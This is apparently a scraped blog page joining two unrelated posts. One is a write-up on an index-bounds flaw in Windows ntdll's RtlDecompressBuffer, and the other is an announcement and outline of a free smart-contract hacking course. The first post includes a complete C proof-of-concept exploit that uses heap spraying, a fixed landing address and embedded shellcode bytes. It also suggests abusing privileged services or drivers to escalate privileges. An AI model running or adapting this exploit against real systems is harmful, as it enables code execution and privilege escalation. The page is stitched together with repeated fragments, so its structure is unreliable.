Kamila Parker Exclusive

Unknown

Introduction

The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.

The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.

The algorithms callback table

Notice the five nops at the end probably for adding new algorithms in the future.

The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]

The bounrady checks

We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:

int  RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6) {   int result; // eax@4    if ( algorithm & algorithm != 1 )   {     if ( algorithm & 0xF0 )       result = -1073741217;     else       result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6);   }   else   {     result = -1073741811;   }   return result; }

Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.

let's check the disassembly on Win7 32bits:

the movzx limits the boundaries to 16bits
the test ax, ax avoids the algorithm 0
the cmp ax, 1 avoids the algorithm 1
the test al, 0F0h limits the boundary .. wait .. al?

Let's calc the max two bytes number that bypass the test al, F0h

unsigned int max(void) {
__asm__("xorl %eax, %eax");
__asm__("movb $0xff, %ah");
__asm__("movb $0xf0, %al");
}

int main(void) {
printf("max: %u\n", max());
}

The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9?

So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.

Proof of concept

This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.

The result on WinXP:

The result on Win7 32bits:

And the exploit code:

/*     ntdll!RtlDecompressBuffer() vtable exploit + heap spray     by @sha0coder  */  #include  #include  #include   #define KB  1024 #define MB  1024*KB #define BLK_SZ 4096 #define ALLOC 200 #define MAGIC_DECOMPRESSION_AGORITHM 9  // WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php /* unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93" "\xBF\x77\xFF\xD2\xCC" "\xE8\xF3\xFF\xFF\xFF" "\x63\x61\x6C\x63"; */  // https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html char *shellcode =        "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"        "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"        "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"        "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"        "\x57\x78\x01\xc2\x8b\x7a\x20\x01"        "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"        "\x45\x81\x3e\x43\x72\x65\x61\x75"        "\xf2\x81\x7e\x08\x6f\x63\x65\x73"        "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"        "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"        "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"        "\xb1\xff\x53\xe2\xfd\x68\x63\x61"        "\x6c\x63\x89\xe2\x52\x52\x53\x53"        "\x53\x53\x53\x53\x52\x53\xff\xd7";   PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits  void fail(const char *msg) {   printf("%s\n\n", msg);   exit(1); }  PUCHAR spray(HANDLE heap) {   PUCHAR map = 0;    printf("Spraying ...\n");   printf("Aproximating to %p\n", landing_ptr);    while (map < landing_ptr-1*MB) {     map = HeapAlloc(heap, 0, 1*MB);   }    //map = HeapAlloc(heap, 0, 1*MB);    printf("Aproximated to [%x - %x]\n", map, map+1*MB);     printf("Landing adddr: %x\n", landing_ptr);   printf("Offset of landing adddr: %d\n", landing_ptr-map);    return map; }  void landing_sigtrap(int num_of_traps) {   memset(landing_ptr, 0xcc, num_of_traps); }  void copy_shellcode(void) {   memcpy(landing_ptr, shellcode, strlen(shellcode));  }  int main(int argc, char **argv) {   FARPROC RtlDecompressBuffer;   NTSTATUS ntStat;   HANDLE heap;   PUCHAR compressed, uncompressed;   ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;    RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");    heap = GetProcessHeap();    compressed_sz = estimated_uncompressed_sz = 1*KB;    compressed = HeapAlloc(heap, 0, compressed_sz);    uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz);     spray(heap);   copy_shellcode();   //landing_sigtrap(1*KB);   printf("Landing ...\n");    ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);    switch(ntStat) {     case STATUS_SUCCESS:       printf("decompression Ok!\n");       break;      case STATUS_INVALID_PARAMETER:       printf("bad compression parameter\n");       break;       case STATUS_UNSUPPORTED_COMPRESSION:       printf("unsuported compression\n");       break;      case STATUS_BAD_COMPRESSION_BUFFER:       printf("Need more uncompressed buffer\n");       break;      default:       printf("weird decompression state\n");       break;   }    printf("end.\n"); }

The attack vector


  This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7

Smart Contract Exploitation and Hacking Course Announcement

What Is this:

For those who have been hitting me up on twitter and YouTube for more blockchain smart contract exploitation content this blog is for you. I have posted a video below explaining what this is and included a course outline of the content we are providing free for everyone. I was actually told recently that I am crazy for giving out this level of detailed content and training for free.. However, I believe in the original hacker ethic code from long ago, that information should be freely available for everyone!! In this frame of mind, the only pay for content will be if you wish to go the extra mile. For the person who wants to prove to themselves or others that they learned something via a certification package with detailed exam prep targets and guides, followed by a final exam CTF and reporting write-up.

So I hope you enjoy this content. The content and walk through labs will be all free. This content will be posted regularly over the next few months 90% of it is already written and ready to go.

We will start off with the differences between Solidity and other languages and do a quick coding overview before we start hacking. This way everyone is on the same page when we start looking at coding examples of vulnerable targets or reviewing case study code. Then we will cover a wide range of typical issues that effect decentralized applications(DApps) and smart contracts on the Ethereum blockchain. How to spot them and exploit them with full walk-through style learning. Subjects we have already released (Re-Entrancy, Integer Attacks, Authorization) have been updated with new code, new examples, and case studies etc. Some of the learning content will be the same but with a lot of newly added content. And in the case of Authorization completely re-written and expanded on.

Basically this course was created to get the information out there in a clear concise way. Because when I started researching blockchain hacking all I found was a paragraph here and there on something that was overly technical or completely theoretical. I couldn't find any clear concise learning or examples. This drove me nuts trying to figure everything out, until I gave up and just coded my own vulnerabilities and hacked them. So hopefully this fills the knowledge gap to offer a clear and concise, Zero Fluff resource to those on the same path.

CTF Exam:

If you do enjoy this series over the next few months and want to challenge your skills and certify that you learned something we will be also offering pay for certification bundle that includes Decentralized Application (DApp) targets and detailed lab guides as preparation for a final exam against a more comprehensive CTF certification challenge target. More info on this as the months progress.

Bug Bounty of Sorts:

These labs are completed but we are working on a way to deliver the content which requires me to code up a course delivery software. So feel free to hack the course delivery software once its up, if you break in or bypass authorizations I will give you the full course for free provided you help me fix it. :P

Pre- Requisites:

This is more of a intermediate / advanced course with a white box code approach to bug hunting and a dynamic approach to application hacking and exploiting targets, with that said you will need the following pre-requisites:

Ability to code in some language and understanding of coding concepts.
Application hacking or development background with firm understanding of vulnerabilities

Contact Info:

As this is free, I only ask that you provide constructive feedback as we are creating other more advanced hacking courses on random subjects we are interested in. Most of which will be free. And feedback helps us not do things which are not useful and integrate new ideas where they make sense.

Cheers and I hope this finds you well.

Twitter:

Email:

info@cclabs.io

WebPage:

Course Outline / Release Order:

Orange = = Whats included additionally for the full course

Blue = = What will be released free in blogs / videos

(Mostly every Mondays) over the next few months

Building and Scoping Things

Chapter 1: Cliff Notes on Blockchain

Intro:

What is a Blockchain and how is it secured

Smart Contracts

What is a Decentralized Application (DApp)?

Diving into Blockchain Components:

Distributed Vs Decentralized

Provenance Use Case:

Consensus and Mining:

Hands on Lab - Blockchain Consensus walkthrough Lab

Summary:

References:

Chapter 2: Threat Modeling and Scoping Engagements

Architecture Considerations:

Business Logic Locations and Technology Decisions

Development Environments

Threat Modeling

Summary

References:

Chapter 3 – Solidity for Penetration Testers Part 1 (Hello World)

About Solidity

Hands on Lab - Remix interface overview

Structure of a Smart Contract

Hands on Lab – HelloWorld

Summary

References:

Chapter 4 – Solidity for Penetration Testers Part 2

Beyond Hello World

Hands on Lab – Code HelloWorld bank

Code Level Walk Through of HelloWorld Bank

Checks Effects Interactions:

Summary

Part 2: Hacking and Exploiting Things

Chapter 5 - Glass Half Full or Glass Half Empty: Integer Attacks

Underflows and Overflows

Withdraw Function Vulnerable to an underflow

Transfer Function Vulnerable to a Batch Overflow

Batch Overflow Code Explanation:

ERC20 Batch Overflow Case-Study

Walkthrough of The Vulnerable Function

Reviewing the Real Attack Transaction

Hands on Lab - Exploiting Our Own ERC20 Batch Overflow

Hands on Lab - Fixing the ERC20 Overflow

Exam Prep - DApp Target + Detailed Lab Guide

Hands on Lab -Safe Math Walk Through

Integer Attacks Summary

Integer Attacks References

Chapter 6 - You Again: Leveraging Reentrancy Attacks

Reentrancy Intro

Checks Effects Interactions Pattern

Simple Reentrancy Example Code

Passing the Checks:

Looping the Interaction:

Updating the Effects:

Attacking Code Example:

Hands on Lab - Attacking a Simple Reentrancy

Hands on Lab - Fixing the Checks Effects interaction Pattern

Send vs Transfer Vs Call.Value

Case Study – The Dao Hack

Exam Prep - DApp Target + Detailed Lab Guide

Reentrancy Summary

Reentrancy References

Chapter 7 Do You Have a Hall Pass: Access Control Attacks

Understanding Smart Contract Authorization and Visibility

Visibility:

Simple Visibility Example:

Implementing Authorization:

Example Walk-through of No Authorization

Thinking about Smart Contracts as unpublished API's for DApps

Case of the Video Game Heist

Enumerating functions in a contract

Hands on Lab - Directly Calling Public Functions with Web3

Hands on Lab - Example Fix with Simple Authorization

Exit Scam Warning

Hands on Lab - Example Fix-2 Using Modifiers for Simple Authentication

Hands on Lab - Example Using Openzeppelin for Role Based Access Control

Exam Prep - DApp Target + Detailed Lab Guide

Authorization Summary:

Authorization References

Chapter 8 - Dude Where's My Data: Storage Vs Memory Attacks

Intro - Not Written Yet – Up Next

Code Example - Not Written Yet – Up Next

Case study? - Not Written Yet – Up Next

Exploiting vulnerability - Not Written Yet – Up Next

Summary - Not Written Yet – Up Next

References - Not Written Yet – Up Next

Chapter 9 - Do I know you: TxOrigin vs Message.sender Attacks

What's the difference?

Man In the Middle Via tx.origin

Hands on Lab - Simple tx.origin Example Walkthrough

Hands on Lab - Vulnerable TX.Origin Example Walkthrough

Exam Prep - DApp Target + Detailed Lab Guide

Action steps to familiarize yourself with the contract:

Attack Options:

Summary

References

Chapter 10 - Who Am I: Delegate Call Attacks

How delegate calls work:

Delegate Call vs Call

Simple Delegate Call Example Code

Simple Delegate Code Example Walkthrough

Hands on Lab - Simple Delegate Example Walkthrough

Variable Memory Issues with Delegate Calls

DelegateCall Storage Simple Example Code

Hands on Lab - DelegateCall Storage Walkthrough

Exam Prep - DApp Target + Detailed Lab Guide

Case Study - Parity Wallet Attack:

Attack Transactions Explained

Dangerous fallback function using delegatecall

The Parity Wallet Code

Delegate Chapter Summary

Delegate References:

Chapter 11 - Look into My Crystal Ball: Bad Randomness Issues

Cryptographic Implementations and Predictable PRNGs

Simple BlockHash Example

Hands on Lab - BlockHash Vulnerability Walk and Talk

Exam Prep - DApp Target + Detailed Lab Guide

Preventing Randomness Issues

Bad Randomness Summary

Bad Randomness References

Chapter 12 - Automated Static Application Security Testing

Content - Not written - Up Next

Hands On Lab - Not written - Up Next

Summary Not written - Up Next

References - Not written - Up Next

Chapter 13 - CTF Exam

Final Exam and CTF Certification Exam Target

Final Exam Reporting

Appendices:

Appendix I – Pre-Requisite Suggestions:

Programming Pre-Requisites:

Web Application Hacking Pre-Requisites:

Appendix II – Other Blockchain Learning Resources and Certifications

Appendix III – Non-Exhaustive Scoping Questions

Appendix IV – Non-Exhaustive List of things to check for

Kamila Parker Exclusive

Note :

Wednesday, May 31, 2023

RtlDecompresBuffer Vulnerability

More articles

Linux Stack Protection By Default

Blockchain Decentralized Application Hacking Course - A Journey Into Smart Contract Hacking And DApp Penetration Testing (Web 3.0)

Smart Contract Exploitation and Hacking Course Announcement

What Is this:

CTF Exam:

Bug Bounty of Sorts:

Pre- Requisites:

Contact Info:

Course Outline / Release Order:

Orange = = Whats included additionally for the full course

Blue = = What will be released free in blogs / videos

(Mostly every Mondays) over the next few months

More info